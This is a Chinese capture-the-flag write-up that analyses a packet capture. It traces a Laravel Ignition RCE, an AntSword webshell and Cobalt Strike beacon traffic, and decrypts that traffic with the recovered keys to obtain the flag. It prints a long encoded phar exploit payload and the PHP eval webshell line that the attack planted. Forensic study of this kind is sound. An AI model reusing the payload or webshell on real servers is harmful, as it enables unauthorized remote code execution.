这题挺有意思的,还是按流量分析的思路来做,个人习惯先看post包在这里看到了很多ignition之类的包,百度了下这是一个laravel的RCE。后面的包一直在向.config.php post数据,怀疑config.php是写的马,跟进去看看。使用http contains config过滤出来。很明显是webshell了,这是在执行ls继续跟踪这个webshell的数据包,看看有无有价值的信息。看到了一个secret.zip,但是http对象导出并没有这玩意。继续追踪看到了pk开头的一段数据,考虑是压缩包,尝试进行还原。需要注意的是,压缩包前后有两段字符串是蚁剑自带干扰流量特征的。还原之后是个加密的压缩包,不是伪加密,下一步的目的是找到压缩包的密码。同时需要注意的是,这里文件名和cobalt strike有关(rt废物狂喜),然后搜了下.cobaltstrike.beacon_keys这个东西是干嘛的。上述文件是一个序列化后的公钥私钥文件,CS的beacon会嵌入这个文件中的公钥,当然了,私钥是留给server自己的。下一步应该是对这个文件进行解密,获取CS的通信数据。既然知道了是cobalt strike的通信流量,那么需要找到beacon与teamserver交互的数据包,但这个前提是得到私钥。获取私钥的前提是解开压缩包的密码。下面需要做的是找压缩包的密码。继续追踪数据包,在上面的包中看到了解压的操作。但是当时我直接对传输的数据进行URL+BASE64解码,并不能得到任何有价值的信息。那么接下来需要做的是看一看传的马的内容以及加密方式。在laravel RCE的包中可以找到payload
1 | P=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00V=00B=00J=00T=00E=00V=00S=00K=00C=00k=007=00I=00D=008=00+=00D=00Q=00o=00J=00A=00g=00A=00A=00A=00g=00A=00A=00A=00B=00E=00A=00A=00A=00A=00B=00A=00A=00A=00A=00A=00A=00C=00y=00A=00Q=00A=00A=00Y=00T=00o=00y=00O=00n=00t=00p=00O=00j=00c=007=00T=00z=00o=00z=00M=00j=00o=00i=00T=00W=009=00u=00b=002=00x=00v=00Z=001=00x=00I=00Y=00W=005=00k=00b=00G=00V=00y=00X=00F=00N=005=00c=002=00x=00v=00Z=001=00V=00k=00c=00E=00h=00h=00b=00m=00R=00s=00Z=00X=00I=00i=00O=00j=00E=006=00e=003=00M=006=00O=00T=00o=00i=00A=00C=00o=00A=00c=002=009=00j=00a=002=00V=000=00I=00j=00t=00P=00O=00j=00I=005=00O=00i=00J=00N=00b=002=005=00v=00b=00G=009=00n=00X=00E=00h=00h=00b=00m=00R=00s=00Z=00X=00J=00c=00Q=00n=00V=00m=00Z=00m=00V=00y=00S=00G=00F=00u=00Z=00G=00x=00l=00c=00i=00I=006=00N=00z=00p=007=00c=00z=00o=00x=00M=00D=00o=00i=00A=00C=00o=00A=00a=00G=00F=00u=00Z=00G=00x=00l=00c=00i=00I=007=00c=00j=00o=00z=00O=003=00M=006=00M=00T=00M=006=00I=00g=00A=00q=00A=00G=00J=001=00Z=00m=00Z=00l=00c=00l=00N=00p=00e=00m=00U=00i=00O=002=00k=006=00L=00T=00E=007=00c=00z=00o=005=00O=00i=00I=00A=00K=00g=00B=00i=00d=00W=00Z=00m=00Z=00X=00I=00i=00O=002=00E=006=00M=00T=00p=007=00a=00T=00o=00w=00O=002=00E=006=00M=00j=00p=007=00a=00T=00o=00w=00O=003=00M=006=00N=00z=00c=006=00I=00m=00V=00j=00a=00G=008=00g=00X=00j=00w=00/=00c=00G=00h=00w=00I=00E=00B=00l=00d=00m=00F=00s=00K=00E=00B=00n=00e=00m=00l=00u=00Z=00m=00x=00h=00d=00G=00U=00o=00Y=00m=00F=00z=00Z=00T=00Y=000=00X=002=00R=00l=00Y=002=009=00k=00Z=00S=00g=00k=00X=001=00B=00P=00U=001=00R=00b=00M=00T=00Q=000=00M=00z=00N=00d=00K=00S=00k=00p=00O=00z=009=00e=00P=00i=00A=00+=00I=00C=005=00j=00b=002=005=00m=00a=00W=00c=00u=00c=00G=00h=00w=00I=00j=00t=00z=00O=00j=00U=006=00I=00m=00x=00l=00d=00m=00V=00s=00I=00j=00t=00O=00O=003=001=009=00c=00z=00o=004=00O=00i=00I=00A=00K=00g=00B=00s=00Z=00X=00Z=00l=00b=00C=00I=007=00T=00j=00t=00z=00O=00j=00E=000=00O=00i=00I=00A=00K=00g=00B=00p=00b=00m=00l=000=00a=00W=00F=00s=00a=00X=00p=00l=00Z=00C=00I=007=00Y=00j=00o=00x=00O=003=00M=006=00M=00T=00Q=006=00I=00g=00A=00q=00A=00G=00J=001=00Z=00m=00Z=00l=00c=00k=00x=00p=00b=00W=00l=000=00I=00j=00t=00p=00O=00i=000=00x=00O=003=00M=006=00M=00T=00M=006=00I=00g=00A=00q=00A=00H=00B=00y=00b=002=00N=00l=00c=003=00N=00v=00c=00n=00M=00i=00O=002=00E=006=00M=00j=00p=007=00a=00T=00o=00w=00O=003=00M=006=00N=00z=00o=00i=00Y=003=00V=00y=00c=00m=00V=00u=00d=00C=00I=007=00a=00T=00o=00x=00O=003=00M=006=00N=00j=00o=00i=00c=003=00l=00z=00d=00G=00V=00t=00I=00j=00t=009=00f=00X=001=00p=00O=00j=00c=007=00a=00T=00o=003=00O=003=000=00F=00A=00A=00A=00A=00Z=00H=00V=00t=00b=00X=00k=00E=00A=00A=00A=00A=00X=00E=00t=00L=00Y=00Q=00Q=00A=00A=00A=00A=00M=00f=00n=00/=00Y=00t=00g=00E=00A=00A=00A=00A=00A=00A=00A=00A=00I=00A=00A=00A=00A=00d=00G=00V=00z=00d=00C=005=000=00e=00H=00Q=00E=00A=00A=00A=00A=00X=00E=00t=00L=00Y=00Q=00Q=00A=00A=00A=00A=00M=00f=00n=00/=00Y=00t=00g=00E=00A=00A=00A=00A=00A=00A=00A=00B=000=00Z=00X=00N=000=00d=00G=00V=00z=00d=00D=00Z=006=00P=00U=00p=00j=00h=00k=00a=00y=00y=00N=00i=00Q=003=00Y=00w=00m=00f=00p=00c=008=00Q=00J=00n=00s=00A=00g=00A=00A=00A=00E=00d=00C=00T=00U=00I=00=00 |
把payload中的=00替换为空然后解base64可以得到
1 | <?php __HALT_COMPILER(); ?> |
这写进去的应该是一个序列化对象,应该是和laravel的rce有关,我们重点关注传进去的内容。@eval(@gzinflate(base64_decode($_POST[14433])));所以需要做gzip和base64的解码才可以明白流量包中的具体内容
1 | 14433=c0gtS8zRcEivysxLy0ksSdVISixONTOJT0lNzk9J1VCJD/APDomON6gwSDFJNUpJNUs2TEs0j9XU1LQGAA== |
上面是对解压包的url解码,然后gzip+base64解码尝试还原代码内容,对上面的每个参数进行解密!下面这个包是解压缩的包的解码
1 | @ini_set("display_errors", "0"); |
可以看到,参数s接收执行命令的参数
1 | $s=base64_decode(substr($_POST["ufbd335828f30f"],2)); |
所以s=
1 |
可以得到压缩密码为P4Uk6qkh6Gvqwg3y。下面就可以解压beacon keys.下面需要做的工作为:获得私钥,通过私钥获得AES密钥以查看与teamserver的通信内容。需要用到的工具在
https://github.com/WBGlIl/CS_Decrypt
首先是根据私钥文件恢复RSA KEY。根据RSA KEY 恢复AES KEY,需要看beacon通信的数据包,根据cs特性,一般这个值藏在cookie里。拿到AES KEY之后,继续利用脚本还原beacon返回的内容,这里抓取的是submit.php的特征。根据CobaltStrike的通信规则,beacon会向teamserver POST submit.php?id=xxx,POSTDATA为AES加密后的内容。将加密后的内容复制出来之后解密
注意需要是base64格式的,然后使用脚本进行解密解密后得到flag。
后记
这题太折磨人了,做了好久才做出来,写wp又写了一段时间。顺便学了下CS的简单通信过程,收获还是有的。
参考链接:https://blog.csdn.net/qq_43264813/article/details/120560209
https://wbglil.gitbook.io/cobalt-strike/cobalt-strike-yuan-li-jie-shao/cs-mu-biao-shang-xian-guo-cheng#beacon-shu-ju-hui-chuan
https://www.wkr.moe/ctf/610.html#toc-head-3